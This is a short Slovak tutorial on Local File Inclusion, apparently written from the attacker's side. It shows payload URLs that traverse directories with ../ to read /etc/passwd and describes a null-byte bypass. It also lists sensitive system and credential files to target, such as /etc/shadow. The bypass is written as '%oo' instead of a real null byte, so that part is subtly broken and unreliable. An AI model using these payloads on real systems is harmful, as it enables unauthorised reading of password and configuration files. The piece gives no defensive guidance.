Local File Inclusion

Tak v skratke Local File Inclusion (LFI) je metóda pomocou ktorej si môžeme zobraziť obsah, ktorý by sme za normálnych okolností nevideli.

Ok, máme webovú stránku:

http://www.example.sk/index.php?post=options.php

a skúsime otvoriť adresár pomocou ../

http://www.example.sk/index.php?post=../

ak máme práva na zobrazovanie tohto adresára načítajú sa nám súbory, ktoré sú v ňom uložené, to je ale veľmi nepravdepodobné a stránka nám vráti chybovú hlášku. Skúsme si teraz načítať súbor /etc/passwd.

http://www.example.sk/index.php?post=../../../etc/passwd

umiestnenie súboru zistíte pomocou ../ a to tak, že budete postupne pridávať až sa vám načítajú užívateľské mená (/etc/passwd), samozrejme ak je webová stránka náchylná na tento typ útoku.
Ďalej môžme použiť bypass null byte ktorého hexa kód je %oo a v našom prípade výsledná url bude vypadať takto:

http://www.example.sk/index.php?post=../../../etc/passwd%oo&id_user=86

tento bypass spôsobý, že všetko za ním bude ignorované (v našom prípade id_user )
Ešte niekoľko zaujímavých príkladov lokálneho skriptovania:

/etc/passwd
/etc/shadow
/etc/group
/etc/profile
/etc/hosts
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default

Je to veľmi zaujímavá metóda, ale musím podotknúť, že na ňu treba istú dávku šťastia. Tí, ktorý pochopili problematiku vedia, že hore uvedené adresáre im môžu, ale aj nemusia pomôct na náchylnej stránke pretože web môže mať úplne odlišný strom adresárov.